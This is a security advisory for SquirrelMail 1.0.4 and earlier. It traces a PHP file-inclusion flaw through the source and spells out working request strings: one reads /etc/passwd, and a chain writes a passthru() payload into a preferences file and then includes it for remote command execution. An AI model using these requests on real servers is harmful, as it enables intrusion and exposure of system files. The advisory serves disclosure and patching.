COMMAND
SquirrelMail
SYSTEMS AFFECTED
Versions up to and including 1.0.4
PROBLEM
Following is based on a Secure Reality Security Advisory #10
(SRADV00010). SquirrelMail is an amazingly easy to use, good
looking and functional web mail system written in PHP.
In versions specified SquirrelMail makes insecure calls to the PHP
function include(). Installations of the versions specified are
vulnerable to attacks in which the attacker gains the ability to
execute arbitrary commands (and code) on the remote web server
with the permissions of the web server user, typically 'nobody'.
This description will be best understood in conjunction with
paper "A Study In Scarlet - Exploiting Common Vulnerabilities in
PHP Applications" which can be downloaded from
http://oliver.efri.hr/~crv/security/bugs/Others/php8.html
http://www.securereality.com.au/archives.html
The problem is initially spotted with a trivial grep of the
source. The following line of code in load_prefs.php seems
suspicious:
39 require("$chosen_theme");
The require() function tells PHP to read in the file specified in
the variable $chosen_theme and interpret it as though it were PHP
code. If the attacker can affect $chosen_theme (with form input)
they may be able to point this at sensitive local files (e.g
/etc/passwd) and have them returned or even worse, have their own
PHP interpreted which allows them to run arbitrary code.
Looking higher in the file we get a feel for what load_prefs.php
is meant to do:
8 ** Loads preferences from the $username.pref file used by almost
9 ** every other script in the source directory and alswhere.
Ok, so its a file that is typically include()d by other PHP
scripts that loads the users preferences (where user is
determined by $username). This is looking really good. This
file is a library code file, its not ever meant to be requested
by a remote user, but it has the correct extension (.php) to be
parsed as PHP code so a remote attacker can request it. Scripts
like this are typically low hanging fruit since the fact that
they're meant to be included by other scripts often means they
have a certain 'context' they're meant to work in. Without this
context they're often easy to exploit.
Looking from the top of the file at various housekeeping code:
14 if (!isset($config_php))
15 include("../config/config.php");
16 if (!isset($prefs_php))
17 include("../functions/prefs.php");
18 if (!isset($plugin_php))
19 include("../functions/plugin.php");
20
21 $load_prefs_php = true;
22 if (!isset($username))
23 $username = '';
24 checkForPrefs($data_dir, $username);
Ok, lines 14 to 19 are interesting. The code tries to determine
if its environment has been well established (that is, important
code this page relies upon has already been included). However,
this is not a secure way to determine if the environment has been
well constructed, an attacker can cause $config_php, $prefs_php
or $plugin_php to be set by submitting them as form variables and
thereby cause the required code not to be included.
Having tried to construct a sane environment the code goes on to
set a flag indicating it has been included (later scripts check
this variable before trying to include it, in the same way that
it checks for config.php etc). The code then goes on to insure
that $username is set to something (note that no code to
authenticate $username is evident yet). The script then calls
checkForPrefs with $data_dir (which is a configuration variable
normally set in config.php) and $username (the unauthenticated
user the remote requestor is claiming to be).
checkForPrefs() is a function defined in ../functions/prefs.php.
The following is the relevant code:
116 /** This checks if there is a pref file, if there isn't, it will
117 create it. **/
118 function checkForPrefs($data_dir, $username) {
119 $filename = "$data_dir$username.pref";
120 if (!file_exists($filename)) {
121 if (!copy("$data_dir" . "default_pref", $filename)) {
122 echo _("Error opening ") ."$filename";
123 exit;
124 }
125 }
126 }
Interesting. When Squirrelmail is first installed the user needs
to configure a data directory (that must be writable by
Squirrelmail). Squirrelmail stores attachments to be downloaded,
address book details and user preferences in subdirectories of
this directory. This code takes the unauthenticated username and
checks if a preferences file exists for this user, if it doesn't
its created. This will come in very handy later on.
So back in load_prefs.php:
26 $chosen_theme = getPref($data_dir, $username, "chosen_theme");
27 $in_ary = false;
28 for ($i=0; $i < count($theme); $i++){
29 if ($theme[$i]["PATH"] == $chosen_theme) {
30 $in_ary = true;
31 break;
32 }
33 }
34 if (!$in_ary) {
35 $chosen_theme = "";
36 }
This code reads the users preference of 'theme' (Squirrelmail has
a themeable user interface) into $chosen_theme. It then loops
through the $theme[] array and determines if $chosen_theme
matches one of those themes. If it doesn't its set to nothing.
The $theme array is an array of valid themes set in config.php:
46 $theme[0]["PATH"] = "../themes/default_theme.php";
47 $theme[0]["NAME"] = "Default";
48 $theme[1]["PATH"] = "../themes/plain_blue_theme.php";
49 $theme[1]["NAME"] = "Plain Blue";
50 $theme[2]["PATH"] = "../themes/sandstorm_theme.php";
51 $theme[2]["NAME"] = "Sand Storm";
52 $theme[3]["PATH"] = "../themes/deepocean_theme.php";
53 $theme[3]["NAME"] = "Deep Ocean";
54 $theme[4]["PATH"] = "../themes/slashdot_theme.php";
This makes it all look much harder, an attacker can have a
preferences file created (checkForPrefs() does that), but what
then? They need to be able to change their "chosen_theme"
preference to effect the require() we noted at the start of all
this but if its not set to an element of the theme array (of
which none are interesting) it'll just be unset.
As it turns out it takes a rather convoluted path to modify the
preferences file chosen_theme without authenticating. It should
be clear how you could do so by the end of this advisory however.
Anyway, there's much jucier lines of attack if we look further
into load_prefs.php.
38 if ((isset($chosen_theme)) && (file_exists($chosen_theme))) {
39 require("$chosen_theme");
40 } else {
41 if (file_exists($theme[0]["PATH"])) {
42 require($theme[0]["PATH"]);
43 } else {
Ignoring the chosen_theme we spot the $theme[0]['path'] code.
This should stick out like a sore thumb. Recall that the theme
array comes from the config.php file. This file is include()d at
the beginning of load_prefs.php but ONLY if $config_php is not
configured. So the immediately obvious attack is to set the
following as form input:
username = evilattacker
config_php = true
theme[0][PATH] = /etc/passwd
Which presumably return the password file to the attackers web
browser. Unfortunately this attack is foiled and typically
results in an error message something like 'Fatal error: Call to
undefined function: _() in
/home/html/squirrelmail-1.0.4/functions/prefs.php on line 122' is
generated. This is caused by the checkForPrefs() routine. It's
checking if the user's preference file exists (as we saw earlier)
but because we caused config.php not to be included when it
constructs the filename of '$data_dir$username.pref' it ends up
with just '<username>.pref'. Since this is a file in the root
directory it will never be found so it tries to create it and
when this operation fails the script aborts.
The attacker now needs to provide the $data_dir variable
themselves. It should be hard for an attacker to guess the
location but unfortunately one of the scripts leaks this
information. Looking at the script options_display.php:
19 if (!isset($page_header_php))
20 include('../functions/page_header.php');
This is just one of the includes specified at the top of
options_display.php (which normally displays a users preferences).
Its performed before any sort of authentication.
In the file page_header.php (which fairly obviously normally
provides a standard header for all the pages):
21 // Check to see if gettext is installed
22 $headers_sent=set_up_language(getPref($data_dir, $username, "language"));
The above lines of code try to setup the language of the user.
The call the following code from prefs.php:
13 function getPref($data_dir, $username, $string) {
14 $filename = "$data_dir$username.pref";
15 if (!file_exists($filename)) {
16 printf (_("Preference file %s not found. Exiting abnormally"), $filename);
17 exit;
18 }
Looking at the above, before any authentication the page looks for
'$data_dir$username.pref', if that isn't found it nicely tells us
the file it was looking for but couldn't find. So, if an attacker
requests the page without any username specified at all they
receive a message like 'Preference file
/var/squirrelmail/data/.pref not found. Exiting abnormally'.
$data_dir is obviously the bit before '.pref'.
The above makes the attack specified earlier possible with the
following input:
username = evilattacker
config_php = true
theme[0][PATH] = /etc/passwd
data_dir = <dir as found>
If an attacker makes a request like
http://<host>/squirrelmail-1.0.4/src/load_prefs.php?username=evilattacker&config_php=true&theme[0][PATH]=/etc/passwd&data_dir=/var/squirrelmail/data/
they get a copy of the remote machines /etc/passwd file delivered
to their web browser.
Presumably they're not going to be happy with just this level of
access and would like to further exploit the problem to gain
remote command execution privileges. This would normally be a
relatively trivial exercise since the attacker can pick any file
they wish on the remote machine and have it interpreted as PHP
code. Note that we can't use a remote files attack here because
the code does a file_exists() on the file before including it and
file_exists() does not work with the PHP remote files
functionality.
The attacker just needs to get code of their chosing into a file
on the remote machine. As discussed in 'A Study In Scarlet' there
are many ways to do this. Our first attempt used file upload but
it failed as there appear to be some weird bugs in version of PHP
(4.0.4pl1) with uploading a file into a field with a two
dimensional array name, this may well have been fixed since then.
Anyway, trying to be general the attacker will look for an
alternate way to get code into a file on the remote machine.
We chose the most obvious avenue, the preferences file.
Squirrelmail has been kind enough to create this file for us, its
been kind enough to tell us which directory its in too so we know
its absolute filename. The file looks like the following:
full_name=
reply_to=
chosen_theme=../themes/plain_blue_theme.php
show_num=25
wrap_at=86
editor_size=76
left_refresh=None
language=en
location_of_bar=left
location_of_buttons=between
order1=1
order2=2
order3=3
order4=5
order5=4
order6=6
All we need to do is get PHP code into this file without being
forced to authenticate. This ability is provided by the
options_order.php script. options_order.php normally allows a
user to specify the order in which key fields of an email
(Subject, From, To etc) they'd like displayed and in what order
they should be displayed. As can be seen above each field is
identified by a field number
order<fieldnumber>=<place in display>
However options_display doesn't go to any real effort to verify
what a user inputs:
83 } else if ($method == 'add' && $add) {
84 $index_order[count($index_order)+1] = $add;
85 }
86
87 if ($method) {
88 for ($i=1; $i <= count($index_order); $i++) {
89 setPref($data_dir, $username, "order$i", $index_order[$i]);
90 }
91 }
If the form input contains a 'method' variable set to 'add' the
script assumes the user has decided to include another field in
the display. The then adds the field to the end of the list of
fields to be displayed by placing its number (which it assumes is
in $add) to the end of the preferences list. The problem is that
$add is a form variable that is normally set via a drown down list
in the preferences page to a valid field number but if an attacker
ignores the form and sets it themselves it can easily be anything.
Once the new field has been added all the fields are saved in the
preferences file.
An attacker can therefore specify something the following input
and have PHP code written to a known file:
username = evilattacker
method = add
add = "<?php passthru("/bin/ls /etc");"
When the attacker makes the request like
http://host/squirrelmail-1.0.4/src/options_order.php?username=evilattacker&method=add&add=<?php%20passthru("/bin/ls%20/etc");%20?>
the code is written to '$data_dir$username.pref'.
Now the attacker can execute the same attack as specified above
to retrieve the password file to execute the code they just sent.
The following request:
http://server/squirrelmail-1.0.4/src/load_prefs.php?username=heyheyhey&config_php=true&theme[0][PATH]=/var/squirrelmail/data/evilattacker.pref&data_dir=/var/squirrelmail/data/
would then result in a listing of the /etc directory being
returned to the attacker in their web browser. Obviously any
command could be specified and further exploit code could be
uploaded and executed as described in 'A Study In Scarlet'.
As always with PHP there are many caveats to the attacks details
in this advisory based on PHP configuration and version.
SOLUTION
Later versions of SquirrelMail correct this problem. Please
download a version above 1.0.5 from:
http://www.squirrelmail.org